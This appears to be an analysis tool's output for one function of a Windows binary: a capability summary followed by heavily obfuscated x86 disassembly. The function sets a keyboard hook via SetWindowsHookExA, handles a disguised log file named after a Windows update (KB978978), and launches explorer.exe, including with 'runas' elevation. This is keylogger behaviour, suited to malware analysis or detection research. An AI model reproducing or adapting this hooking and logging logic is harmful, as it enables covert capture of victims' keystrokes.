Function at 0x40e800
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.0042a980
mov eax, dword [0x458190]
mov dword [esp + 0x1068], eax
push ebx
mov ebx, dword [0x456824]
push esi
mov eax, 0x49f9945f
imul dword [0x45681c]
push edi
mov edi, dword [0x456838]
sar edx, 0xe
mov esi, edi
imul esi, esi, 0xe0dd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x302debc5
imul ebx
sar edx, 0xe
mov ecx, edx
add esi, edx
shr ecx, 0x1f
add ecx, esi
mov esi, dword [0x456830]
mov edx, esi
imul edx, edx, 0xa8da
add ecx, edx
mov eax, 0x3e12562b
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
cmp dword [ebp + 8], 0x132b600
mov dword [esp + 0x14], 0
mov dword [str._r_____r____], ecx
je 0x40e91f
mov edx, dword [0x456820]
imul ecx, ecx, 0x107f4
mov esi, dword [0x456818]
mov eax, 0x18008403
imul esi, esi, 0x398f
imul edx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45682c]
sub esi, eax
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x3e12562b
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
sub esi, dword [0x456834]
sub esi, 0x1558c
mov dword [0x456820], esi
mov esi, 0x64
mov edi, edi
push 0x3e8
call edi
dec esi
jne 0x40e900
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042a141
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [0x45682c]
mov eax, dword [0x456820]
imul edx, edx, 0x1558c
imul eax, eax, 0xdd7b
add eax, edx
mov dword [esp + 0x10], eax
mov eax, 0x47298a5
imul dword [0x45681c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
sub edx, eax
mov eax, esi
imul eax, eax, 0x8ed2
add edx, eax
mov dword [esp + 0x10], edx
mov eax, 0x3e12562b
imul dword [0x456820]
mov eax, dword [esp + 0x10]
sar edx, 0xe
mov ebx, edx
add eax, edx
shr ebx, 0x1f
add ebx, eax
mov eax, dword [section.bell_tt_]
test eax, eax
mov dword [0x45682c], ebx
je 0x40ea06
mov ecx, dword [0x456834]
imul esi, esi, 0xdd7b
mov eax, 0x2ff8513b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0x1558c
mov edi, eax
sub edi, esi
add edi, edx
mov eax, 0x47298a5
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x395bd985
imul dword [0x456820]
sar edx, 0xd
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
mov dword [0x456818], ecx
mov eax, 1
mov ecx, dword [esp + 0x1074]
call fcn.0042a141
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0x99b19d5b
imul ecx, ecx, 0x15410
imul ebx
mov eax, dword [0x456818]
add edx, ebx
imul eax, eax, 0xa8da
sar edx, 0xf
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x456828]
imul edx, edx, 0x398f
add ecx, edx
mov edx, dword [0x456830]
add ecx, eax
sub ecx, esi
lea eax, [ecx + edx - 0x1558c]
mov dword [0x456824], eax
mov edi, edi
mov ecx, dword [0x456824]
imul ebx, ebx, 0x1558c
imul ecx, ecx, 0xffffc9ca
sub ecx, ebx
mov ebx, dword [0x45681c]
mov eax, 0x18008403
imul ebx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [0x456828]
imul eax, eax, 0x8ed2
add ecx, eax
mov eax, dword [ebp + 0x10]
test eax, eax
mov dword [0x456830], ecx
jg 0x40eb9e
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x40eb9e
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40eab0
sub eax, dword [esp + 0x10]
mov dword [esp + 0x10], eax
je 0x40eb9e
mov eax, 0x99b19d5b
imul ecx, ecx, 0xa8da
imul ebx
add edx, ebx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x302debc5
imul edi
mov esi, edi
imul esi, esi, 0xe0dd
sar edx, 0xe
sub ebx, esi
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov ebx, dword [str._r_____r____]
add eax, ecx
mov ecx, dword [ebp + 0x14]
sub eax, ebx
push ecx
add eax, 0xaaa7
push 0
mov dword [0x45681c], eax
call fcn.0040bfc0
mov edi, eax
add esp, 8
test edi, edi
jle 0x40f424
mov ecx, dword [0x456828]
mov esi, dword [0x456818]
mov eax, 0x49f9945f
imul esi, esi, 0xd534
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x15410
sub esi, eax
add esi, edx
mov eax, 0x302debc5
imul ecx
mov ecx, dword [0x456834]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
mov ebx, dword [0x45681c]
add eax, edx
sub esi, eax
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x456830]
mov dword [0x456834], esi
mov esi, dword [0x456838]
jmp 0x40ebdb
mov eax, dword [0x456834]
mov edi, dword [0x456820]
imul eax, eax, 0x1558c
imul edi, edi, 0xffff54ca
sub edi, eax
mov eax, 0x395bd985
imul dword [str._r_____r____]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, esi
mov esi, edi
mov edi, dword [ebp + 0x10]
mov dword [0x456838], esi
mov eax, 0x49f9945f
imul esi, esi, 0xe0dd
imul ecx, ecx, 0xa8da
imul ebx
mov ebx, dword [0x456824]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x302debc5
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
add eax, ecx
mov dword [esp + 0x10], eax
mov eax, 0x3e12562b
imul ebx
mov eax, dword [esp + 0x10]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
push str.c:windowsKB978978.log
mov dword [str._r_____r____], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x456834]
mov esi, dword [0x456830]
mov eax, 0x2ff8513b
imul esi, esi, 0xdd7b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
imul edx, edx, 0x1558c
mov ebx, eax
sub ebx, esi
add ebx, edx
mov eax, 0x47298a5
imul ecx
mov ecx, dword [0x456820]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x395bd985
imul ecx
mov eax, dword [ebp + 0xc]
sar edx, 0xd
mov ecx, edx
add ebx, edx
mov edx, dword [0x56a32c]
push edi
push edx
shr ecx, 0x1f
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
add ecx, ebx
push eax
mov dword [0x456818], ecx
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.bell_tt_], eax
je 0x40f49b
mov edx, dword [0x456820]
mov ecx, dword [0x456818]
mov eax, 0x18008403
imul edx
sar edx, 0xc
mov esi, ecx
imul esi, esi, 0x398f
mov edi, dword [str._r_____r____]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3e12562b
imul dword [0x45682c]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x107f4
sub esi, eax
add esi, edx
sub esi, dword [0x456834]
sub esi, 0x1558c
mov dword [0x56a330], 1
xor ebx, ebx
jmp 0x40ed45
mov edi, dword [str._r_____r____]
mov esi, dword [0x456820]
mov ecx, dword [0x456818]
mov eax, 0x18008403
imul ecx, ecx, 0x398f
imul edi, edi, 0x107f4
imul esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x3e12562b
imul dword [0x45682c]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, edi
sub ecx, dword [0x456834]
sub ecx, 0x1558c
push str.c:windowsKB978978.log
mov dword [0x456820], ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x40edb0
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x12c
jl 0x40ed33
mov ecx, dword [0x456838]
mov esi, dword [0x45681c]
mov eax, 0x246e57b5
imul ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov edx, ecx
imul edx, edx, 0x1558c
mov eax, esi
imul eax, eax, 0xd534
sub edi, edx
add edi, eax
mov eax, 0x302debc5
imul dword [0x456824]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x61082f49
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
cmp ebx, 0x12c
mov dword [0x456828], edi
jl 0x40f50e
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x40f50e
mov ecx, dword [0x456820]
mov edx, dword [0x45682c]
imul edx, edx, 0x1558c
mov edi, ecx
imul edi, edi, 0xdd7b
add edi, edx
mov eax, 0x47298a5
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x8ed2
sub edi, eax
add edi, edx
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add edi, edx
push 0x800
lea ecx, [esp + 0x74]
add eax, edi
push ecx
mov dword [0x45682c], eax
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edx, dword [0x45682c]
mov esi, dword [0x456824]
imul edx, edx, 0x1558c
mov ecx, dword [0x45681c]
imul esi, esi, 0xffffc9ca
sub esi, edx
mov eax, 0x18008403
imul ecx
mov ecx, dword [0x456828]
sar edx, 0xc
imul ecx, ecx, 0x8ed2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea edx, [esp + 0x70]
push edx
sub esi, eax
lea eax, [esp + 0x874]
add esi, ecx
push str._sexplorer.exe
push eax
mov dword [0x456830], esi
call fcn.0042a311
lea ecx, [esp + 0x87c]
push 0
push ecx
call fcn.0042a6ad
add esp, 0x14
cmp eax, 0xffffffff
je 0x40f37f
mov ecx, dword [0x456828]
mov esi, dword [0x456818]
mov eax, 0x49f9945f
imul esi, esi, 0xd534
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x15410
sub esi, eax
add esi, edx
mov eax, 0x302debc5
imul ecx
mov ecx, dword [0x456834]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
push str.explorer.exe
mov dword [0x456834], esi
call fcn.00405270
mov ecx, dword [0x45682c]
mov esi, dword [0x456834]
mov eax, 0x99b19d5b
imul esi, esi, 0x1558c
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456820]
imul edx, edx, 0xab36
mov ecx, eax
sub ecx, esi
sub ecx, edx
mov edx, dword [str._r_____r____]
mov eax, 0x395bd985
imul edx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
add esp, 4
sub ecx, eax
mov dword [0x456838], ecx
mov dword [esp + 0x10], 5
jmp 0x40eff0
mov ecx, dword [0x456838]
jmp 0x40eff0
mov edx, dword [0x45681c]
imul ecx, ecx, 0xe0dd
mov esi, dword [0x456824]
mov eax, 0x49f9945f
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x302debc5
imul esi
sar edx, 0xe
add ecx, edx
mov edi, edx
mov eax, 0x3e12562b
imul esi
shr edi, 0x1f
add edi, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0xa8da
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add edi, ecx
add eax, edx
sub edi, eax
push str.explorer.exe
mov dword [str._r_____r____], edi
call fcn.00404d70
add esp, 4
test eax, eax
jg 0x40f309
mov ecx, dword [0x456834]
mov ebx, dword [0x456830]
mov eax, 0x2ff8513b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456818]
mov edi, eax
imul edx, edx, 0x1558c
mov esi, ebx
imul ebx, ebx, 0xa8da
imul esi, esi, 0xdd7b
sub edi, esi
add edi, edx
mov eax, 0x47298a5
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x395bd985
imul dword [0x456820]
xor eax, eax
sar edx, 0xd
add edi, edx
mov esi, edx
shr esi, 0x1f
add esi, edi
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45681c]
mov edi, dword [0x456838]
mov eax, 0x99b19d5b
imul edi, edi, 0xe0dd
imul ecx
add edx, ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x302debc5
imul dword [0x456838]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
sub ecx, edi
add ecx, edx
add eax, ecx
mov ecx, dword [str._r_____r____]
add eax, ebx
sub eax, ecx
imul ecx, ecx, 0x107f4
add eax, 0xaaa7
mov dword [0x45681c], eax
mov eax, 0x18008403
imul dword [0x456820]
mov dword [0x456818], esi
imul esi, esi, 0x398f
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45682c]
sub esi, eax
mov eax, 0x3e12562b
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x456834]
mov dword [esp + 0x18], 0x44
mov dword [esp + 0x44], 1
mov word [esp + 0x48], 5
sub esi, ecx
lea ecx, [esp + 0x60]
push ecx
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x78]
push eax
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [esp + 0x890]
push ecx
sub esi, 0x1558c
push 0
mov dword [0x456820], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40f225
mov ecx, dword [0x45682c]
mov eax, 0x99b19d5b
imul ecx
mov esi, dword [0x456828]
add edx, ecx
sar edx, 0xf
mov eax, edx
mov ecx, dword [0x456830]
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x15410
sub edx, eax
mov eax, esi
imul eax, eax, 0x398f
add eax, ecx
mov ecx, dword [0x456818]
mov edi, ecx
imul edi, edi, 0xa8da
add eax, edx
lea edx, [edi + eax - 0x1558c]
mov dword [0x456824], edx
jmp 0x40f315
mov ecx, dword [0x456838]
mov eax, 0x246e57b5
imul ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, dword [0x45681c]
imul eax, eax, 0xd534
mov edx, ecx
imul edx, edx, 0x1558c
sub esi, edx
mov edx, dword [0x456824]
add esi, eax
mov eax, 0x302debc5
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x61082f49
imul ecx
sar edx, 0xe
mov ecx, edx
push 1
shr ecx, 0x1f
add ecx, edx
lea edx, [esp + 0x74]
push edx
push 0
lea eax, [esp + 0x87c]
push eax
push str.runas
sub esi, ecx
push 0
mov dword [0x456828], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x40f3d6
mov ecx, dword [0x456820]
mov edx, dword [0x45682c]
imul edx, edx, 0x1558c
mov esi, ecx
imul esi, esi, 0xdd7b
add esi, edx
mov edx, dword [0x45681c]
mov eax, 0x47298a5
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x8ed2
sub esi, eax
add esi, edx
mov eax, 0x3e12562b
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov dword [0x45682c], eax
mov esi, dword [0x456828]
mov ecx, dword [0x456818]
mov eax, 0x49f9945f
imul ecx, ecx, 0xd534
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, esi
imul edx, edx, 0x15410
add ecx, edx
mov eax, 0x302debc5
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456834]
sub ecx, eax
mov eax, 0x3e12562b
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
push 0x3e8
mov dword [0x456834], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x10]
jne 0x40efdf
mov ebx, dword [0x45682c]
mov ecx, dword [0x456834]
mov edi, dword [0x456820]
imul ecx, ecx, 0x1558c
mov eax, 0x99b19d5b
imul edi, edi, 0xffff54ca
imul ebx
add edx, ebx
sar edx, 0xf
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x395bd985
imul dword [str._r_____r____]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
sub edi, ecx
add eax, edx
sub edi, eax
add edi, esi
mov dword [0x456838], edi
jmp 0x40ea50
mov ecx, dword [0x45682c]
mov edi, dword [0x456824]
imul ecx, ecx, 0x1558c
mov esi, dword [0x456828]
imul edi, edi, 0xffffc9ca
sub edi, ecx
mov ecx, dword [0x45681c]
mov eax, 0x18008403
imul ecx
mov ecx, esi
sar edx, 0xc
imul ecx, ecx, 0x8ed2
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov dword [0x456830], edi
jmp 0x40f30f
mov ecx, dword [0x456838]
mov eax, 0x246e57b5
imul ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, dword [0x45681c]
imul eax, eax, 0xd534
mov edx, ecx
imul edx, edx, 0x1558c
sub esi, edx
mov edx, dword [0x456824]
add esi, eax
mov eax, 0x302debc5
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x61082f49
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov dword [0x456828], esi
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042a141
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x45681c]
mov esi, dword [0x456838]
mov eax, 0x99b19d5b
imul ecx
add edx, ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x302debc5
imul esi
mov edi, esi
imul edi, edi, 0xe0dd
sar edx, 0xe
sub ecx, edi
add ecx, edx
mov eax, edx
mov edx, dword [str._r_____r____]
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0xa8da
add eax, ecx
sub eax, edx
add eax, 0xaaa7
mov dword [0x45681c], eax
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042a141
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0x49f9945f
imul ecx, ecx, 0xe0dd
imul esi
mov esi, dword [0x456824]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x302debc5
imul esi
sar edx, 0xe
add ecx, edx
mov edi, edx
shr edi, 0x1f
add edi, ecx
mov ecx, dword [0x456830]
mov eax, 0x3e12562b
imul ecx, ecx, 0xa8da
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add edi, ecx
mov ecx, dword [esp + 0x1074]
add eax, edx
sub edi, eax
mov dword [str._r_____r____], edi
mov eax, 1
call fcn.0042a141
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret